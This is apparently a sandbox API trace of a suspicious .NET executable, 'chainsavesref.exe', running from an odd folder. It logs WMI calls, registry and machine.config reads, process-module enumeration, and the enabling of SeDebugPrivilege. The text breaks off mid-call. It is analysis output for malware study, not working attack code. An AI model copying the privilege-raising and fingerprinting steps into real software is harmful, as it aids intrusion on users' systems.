IUnknown:Release (This=0x1bbb5ee0) returned 0x0 [0175.069] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.069] WbemLocator:IUnknown:Release (This=0x1bbda2e0) returned 0x1 [0175.069] WbemLocator:IUnknown:Release (This=0x1bbda2e0) returned 0x0 [0175.070] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.070] WbemLocator:IUnknown:Release (This=0x1bcc4dc0) returned 0x1 [0175.070] WbemLocator:IUnknown:Release (This=0x1bcc4dc0) returned 0x0 [0175.070] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.070] WbemLocator:IUnknown:Release (This=0x1bc36840) returned 0x1 [0175.070] WbemLocator:IUnknown:Release (This=0x1bc36840) returned 0x0 [0175.070] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.071] WbemLocator:IUnknown:Release (This=0x1bb803f0) returned 0x1 [0175.071] WbemLocator:IUnknown:Release (This=0x1bb803f0) returned 0x0 [0175.071] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.071] WbemLocator:IUnknown:Release (This=0x1bb80e10) returned 0x1 [0175.071] WbemLocator:IUnknown:Release (This=0x1bb80e10) returned 0x0 [0175.072] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.072] IUnknown:Release (This=0x1aa22dd0) returned 0x0 [0175.072] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.072] WbemLocator:IUnknown:Release (This=0x1bce62c0) returned 0x1 [0175.072] WbemLocator:IUnknown:Release (This=0x1bce62c0) returned 0x0 [0175.072] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.072] IUnknown:Release (This=0x1bbb8140) returned 0x0 [0175.072] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.072] WbemLocator:IUnknown:Release (This=0x1bb81710) returned 0x1 [0175.072] WbemLocator:IUnknown:Release (This=0x1bb81710) returned 0x0 [0175.073] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.073] IUnknown:Release (This=0x1bb922c0) returned 0x0 [0175.073] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.073] WbemLocator:IUnknown:Release (This=0x1a953200) returned 0x1 [0175.073] WbemLocator:IUnknown:Release (This=0x1a953200) returned 0x0 [0175.074] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.074] WbemLocator:IUnknown:Release (This=0x1bce9370) returned 0x1 [0175.074] WbemLocator:IUnknown:Release (This=0x1bce9370) returned 0x0 [0175.074] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.074] WbemLocator:IUnknown:Release (This=0x1bc36330) returned 0x1 [0175.074] WbemLocator:IUnknown:Release (This=0x1bc36330) returned 0x0 [0175.075] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.075] WbemLocator:IUnknown:Release (This=0x1bc55930) returned 0x1 [0175.075] WbemLocator:IUnknown:Release (This=0x1bc55930) returned 0x0 [0175.104] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.104] WbemLocator:IUnknown:Release (This=0x1bbab9b0) returned 0x1 [0175.104] WbemLocator:IUnknown:Release (This=0x1bbab9b0) returned 0x0 [0175.143] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.143] WbemLocator:IUnknown:Release (This=0x1bb97d00) returned 0x1 [0175.143] WbemLocator:IUnknown:Release (This=0x1bb97d00) returned 0x0 [0175.144] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.144] WbemLocator:IUnknown:Release (This=0x1bb81560) returned 0x1 [0175.144] WbemLocator:IUnknown:Release (This=0x1bb81560) returned 0x0 [0175.144] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.144] WbemLocator:IUnknown:Release (This=0x1bc35e20) returned 0x1 [0175.144] WbemLocator:IUnknown:Release (This=0x1bc35e20) returned 0x0 [0175.145] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.145] WbemLocator:IUnknown:Release (This=0x1bce6880) returned 0x1 [0175.145] WbemLocator:IUnknown:Release (This=0x1bce6880) returned 0x0 [0175.145] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.145] WbemLocator:IUnknown:Release (This=0x1bbd8140) returned 0x1 [0175.145] WbemLocator:IUnknown:Release (This=0x1bbd8140) returned 0x0 [0175.145] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.145] WbemLocator:IUnknown:Release (This=0x1bc15870) returned 0x1 [0175.145] WbemLocator:IUnknown:Release (This=0x1bc15870) returned 0x0 [0175.145] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.145] WbemLocator:IUnknown:Release (This=0x1bc66090) returned 0x1 [0175.146] WbemLocator:IUnknown:Release (This=0x1bc66090) returned 0x0 [0175.146] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.146] IUnknown:Release (This=0x1bbb4db0) returned 0x0 [0175.146] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.146] WbemLocator:IUnknown:Release (This=0x1bce6e40) returned 0x1 [0175.146] WbemLocator:IUnknown:Release (This=0x1bce6e40) returned 0x0 [0175.146] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.146] WbemLocator:IUnknown:Release (This=0x1bc14e30) returned 0x1 [0175.146] WbemLocator:IUnknown:Release (This=0x1bc14e30) returned 0x0 [0175.147] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.147] WbemLocator:IUnknown:Release (This=0x1bcc6480) returned 0x1 [0175.147] WbemLocator:IUnknown:Release (This=0x1bcc6480) returned 0x0 [0175.147] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.147] WbemLocator:IUnknown:Release (This=0x1bbaa570) returned 0x1 [0175.147] WbemLocator:IUnknown:Release (This=0x1bbaa570) returned 0x0 [0175.148] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.148] IUnknown:Release (This=0x1bb91190) returned 0x0 [0175.148] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.148] WbemLocator:IUnknown:Release (This=0x1bc6fcc0) returned 0x1 [0175.148] WbemLocator:IUnknown:Release (This=0x1bc6fcc0) returned 0x0 [0175.148] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.148] WbemLocator:IUnknown:Release (This=0x1bbda7f0) returned 0x1 [0175.148] WbemLocator:IUnknown:Release (This=0x1bbda7f0) returned 0x0 [0175.149] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.149] WbemLocator:IUnknown:Release (This=0x1bc567d0) returned 0x1 [0175.149] WbemLocator:IUnknown:Release (This=0x1bc567d0) returned 0x0 [0175.149] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.149] IUnknown:Release (This=0x1bbb7010) returned 0x0 [0175.149] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.149] WbemLocator:IUnknown:Release (This=0x1bc97000) returned 0x1 [0175.150] WbemLocator:IUnknown:Release (This=0x1bc97000) returned 0x0 [0175.150] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.150] WbemLocator:IUnknown:Release (This=0x1bc55d20) returned 0x1 [0175.150] WbemLocator:IUnknown:Release (This=0x1bc55d20) returned 0x0 [0175.151] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.151] WbemLocator:IUnknown:Release (This=0x1a9e20b0) returned 0x1 [0175.151] WbemLocator:IUnknown:Release (This=0x1a9e20b0) returned 0x0 [0175.151] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.151] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x1 [0175.151] WbemLocator:IUnknown:Release (This=0x1bbd9b00) returned 0x0 [0175.152] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.152] IUnknown:Release (This=0x1bb94520) returned 0x0 [0175.152] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.152] WbemLocator:IUnknown:Release (This=0x1bb98180) returned 0x1 [0175.152] WbemLocator:IUnknown:Release (This=0x1bb98180) returned 0x0 [0175.153] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.153] WbemLocator:IUnknown:Release (This=0x1bc64c50) returned 0x1 [0175.153] WbemLocator:IUnknown:Release (This=0x1bc64c50) returned 0x0 [0175.153] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.153] WbemLocator:IUnknown:Release (This=0x1bbd95f0) returned 0x1 [0175.153] WbemLocator:IUnknown:Release (This=0x1bbd95f0) returned 0x0 [0175.154] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.154] IUnknown:Release (This=0x1bb933f0) returned 0x0 [0175.154] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.154] WbemLocator:IUnknown:Release (This=0x1bcc48c0) returned 0x1 [0175.154] WbemLocator:IUnknown:Release (This=0x1bcc48c0) returned 0x0 [0175.154] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.154] WbemLocator:IUnknown:Release (This=0x1bc37410) returned 0x1 [0175.154] WbemLocator:IUnknown:Release (This=0x1bc37410) returned 0x0 [0175.155] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.155] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x1 [0175.155] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x0 [0175.155] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.155] WbemLocator:IUnknown:Release (This=0x1bc96b80) returned 0x1 [0175.155] WbemLocator:IUnknown:Release (This=0x1bc96b80) returned 0x0 [0175.155] CoGetContextToken (in: pToken=0x1a92f270 | out: pToken=0x1a92f270) returned 0x0 [0175.155] WbemLocator:IUnknown:Release (This=0x1bbd8700) returned 0x1 [0175.155] WbemLocator:IUnknown:Release (This=0x1bbd8700) returned 0x0 [0175.156] IUnknown:Release (This=0x1a943380) returned 0x0 Thread: id = 18 os_tid = 0xe70 Thread: id = 19 os_tid = 0xe74 [0105.737] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0105.738] CoGetContextToken (in: pToken=0x1b03f880 | out: pToken=0x1b03f880) returned 0x0 [0105.738] CObjectContext::QueryInterface () returned 0x0 [0105.738] CObjectContext::GetCurrentThreadType () returned 0x0 [0105.738] Release () returned 0x0 [0105.738] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0105.740] CoUninitialize () [0109.278] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b03dca8 | out: phkResult=0x1b03dca8*=0x0) returned 0x2 [0109.278] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0109.284] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b03e7e0, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d Thread: id = 20 os_tid = 0xe78 Thread: id = 21 os_tid = 0xe7c Thread: id = 22 os_tid = 0xe80 Thread: id = 23 os_tid = 0xe84 Thread: id = 24 os_tid = 0xe88 [0106.976] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.978] CoGetContextToken (in: pToken=0x1b78f400 | out: pToken=0x1b78f400) returned 0x0 [0106.978] CObjectContext::QueryInterface () returned 0x0 [0106.978] CObjectContext::GetCurrentThreadType () returned 0x0 [0106.978] Release () returned 0x0 [0106.978] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0106.978] CoUninitialize () [0111.127] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x254 [0111.128] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x258 [0111.161] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78ca88 | out: phkResult=0x1b78ca88*=0x25c) returned 0x0 [0111.162] RegQueryValueExW (in: hKey=0x25c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b78cad8, lpData=0x0, lpcbData=0x1b78cad0*=0x0 | out: lpType=0x1b78cad8*=0x1, lpData=0x0, lpcbData=0x1b78cad0*=0xe) returned 0x0 [0111.163] RegQueryValueExW (in: hKey=0x25c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b78cad8, lpData=0x2700d00, lpcbData=0x1b78cad0*=0xe | out: lpType=0x1b78cad8*=0x1, lpData="Client", lpcbData=0x1b78cad0*=0xe) returned 0x0 [0111.164] RegCloseKey (hKey=0x25c) returned 0x0 [0111.753] GetCurrentProcess () returned 0xffffffffffffffff [0111.753] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c448 | out: TokenHandle=0x1b78c448*=0x25c) returned 1 [0111.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b78be60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0111.766] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b78c4f0 | out: lpFileInformation=0x1b78c4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0111.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b78be80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0111.770] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b78c4e8 | out: lpFileInformation=0x1b78c4e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0111.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b78be70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0111.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78c388) returned 1 [0111.775] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x260 [0111.776] GetFileType (hFile=0x260) returned 0x1 [0111.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78c2f8) returned 1 [0111.776] GetFileType (hFile=0x260) returned 0x1 [0114.448] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b78ac90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0114.449] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b78adc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0114.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b78afd8) returned 1 [0114.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b78b300 | out: lpFileInformation=0x1b78b300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0114.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b78af88) returned 1 [0114.558] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1b78b2b0 | out: pfEnabled=0x1b78b2b0) returned 0x0 [0114.592] GetFileSize (in: hFile=0x260, lpFileSizeHigh=0x1b78c428 | out: lpFileSizeHigh=0x1b78c428*=0x0) returned 0x8c8e [0114.593] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78c398, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78c398*=0x1000, lpOverlapped=0x0) returned 1 [0114.636] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78c168, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78c168*=0x1000, lpOverlapped=0x0) returned 1 [0114.640] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bf38, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bf38*=0x1000, lpOverlapped=0x0) returned 1 [0114.641] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bf38, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bf38*=0x1000, lpOverlapped=0x0) returned 1 [0114.642] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bf38, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bf38*=0x1000, lpOverlapped=0x0) returned 1 [0114.642] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bdd8, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bdd8*=0x1000, lpOverlapped=0x0) returned 1 [0114.656] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78c018, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78c018*=0x1000, lpOverlapped=0x0) returned 1 [0114.658] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bf48, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bf48*=0x1000, lpOverlapped=0x0) returned 1 [0114.658] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78bf48, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78bf48*=0xc8e, lpOverlapped=0x0) returned 1 [0114.659] ReadFile (in: hFile=0x260, lpBuffer=0x273a438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b78c058, lpOverlapped=0x0 | out: lpBuffer=0x273a438*, lpNumberOfBytesRead=0x1b78c058*=0x0, lpOverlapped=0x0) returned 1 [0114.659] CloseHandle (hObject=0x260) returned 1 [0114.659] CloseHandle (hObject=0x25c) returned 1 [0114.660] GetCurrentProcess () returned 0xffffffffffffffff [0114.660] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c608 | out: TokenHandle=0x1b78c608*=0x25c) returned 1 [0114.661] CloseHandle (hObject=0x25c) returned 1 [0114.661] GetCurrentProcess () returned 0xffffffffffffffff [0114.662] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c608 | out: TokenHandle=0x1b78c608*=0x25c) returned 1 [0114.662] CloseHandle (hObject=0x25c) returned 1 [0114.669] GetCurrentProcess () returned 0xffffffffffffffff [0114.669] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c448 | out: TokenHandle=0x1b78c448*=0x25c) returned 1 [0114.669] GetFileAttributesExW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe.config" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b78c4f0 | out: lpFileInformation=0x1b78c4f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.670] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe.config", nBufferLength=0x105, lpBuffer=0x1b78be80, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe.config", lpFilePart=0x0) returned 0x34 [0114.671] GetFileAttributesExW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe.config" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b78c4e8 | out: lpFileInformation=0x1b78c4e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.672] CloseHandle (hObject=0x25c) returned 1 [0114.672] GetCurrentProcess () returned 0xffffffffffffffff [0114.672] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c608 | out: TokenHandle=0x1b78c608*=0x25c) returned 1 [0114.673] CloseHandle (hObject=0x25c) returned 1 [0114.674] GetCurrentProcess () returned 0xffffffffffffffff [0114.674] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c608 | out: TokenHandle=0x1b78c608*=0x25c) returned 1 [0114.675] CloseHandle (hObject=0x25c) returned 1 [0114.703] GetCurrentProcess () returned 0xffffffffffffffff [0114.703] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c2f8 | out: TokenHandle=0x1b78c2f8*=0x25c) returned 1 [0114.749] CloseHandle (hObject=0x25c) returned 1 [0114.749] GetCurrentProcess () returned 0xffffffffffffffff [0114.750] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b78c338 | out: TokenHandle=0x1b78c338*=0x25c) returned 1 [0114.751] CloseHandle (hObject=0x25c) returned 1 [0114.786] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e818 | out: phkResult=0x1b78e818*=0x25c) returned 0x0 [0114.787] RegQueryValueExW (in: hKey=0x25c, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1b78e858, lpData=0x0, lpcbData=0x1b78e850*=0x0 | out: lpType=0x1b78e858*=0x0, lpData=0x0, lpcbData=0x1b78e850*=0x0) returned 0x2 [0114.787] RegCloseKey (hKey=0x25c) returned 0x0 [0114.800] GetCurrentProcessId () returned 0xe60 [0114.813] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1b78d870 | out: lpLuid=0x1b78d870*(LowPart=0x14, HighPart=0)) returned 1 [0114.816] GetCurrentProcess () returned 0xffffffffffffffff [0114.816] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1b78d868 | out: TokenHandle=0x1b78d868*=0x29c) returned 1 [0114.817] AdjustTokenPrivileges (in: TokenHandle=0x29c, DisableAllPrivileges=0, NewState=0x2760f40*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0114.817] CloseHandle (hObject=0x29c) returned 1 [0114.819] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe60) returned 0x29c [0114.904] EnumProcessModules (in: hProcess=0x29c, lphModule=0x2760fa8, cb=0x200, lpcbNeeded=0x1b78e850 | out: lphModule=0x2760fa8, lpcbNeeded=0x1b78e850) returned 1 [0114.908] GetModuleInformation (in: hProcess=0x29c, hModule=0x11c0000, lpmodinfo=0x2761218, cb=0x18 | out: lpmodinfo=0x2761218*(lpBaseOfDll=0x11c0000, SizeOfImage=0xd6000, EntryPoint=0x128d67e)) returned 1 [0114.909] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.909] GetModuleBaseNameW (in: hProcess=0x29c, hModule=0x11c0000, lpBaseName=0x1a9a2300, nSize=0x800 | out: lpBaseName="chainsavesref.exe") returned 0x11 [0114.911] CoTaskMemFree (pv=0x1a9a2300) [0114.911] CoTaskMemAlloc (cb=0x804) returned 0x1a9a2300 [0114.911] GetModuleFileNameExW (in: hProcess=0x29c, hModule=0x11c0000, lpFilename=0x1a9a2300, nSize=0x800 | out: lpFilename="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe")) returned 0x2d [0114.912] CoTaskMemFree (pv=0x1a9a2300) [0114.912] CloseHandle (hObject=0x29c) returned 1 [0114.915] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1b78e370, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0114.915] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b78e828 | out: phkResult=0x1b78e828*=0x0) 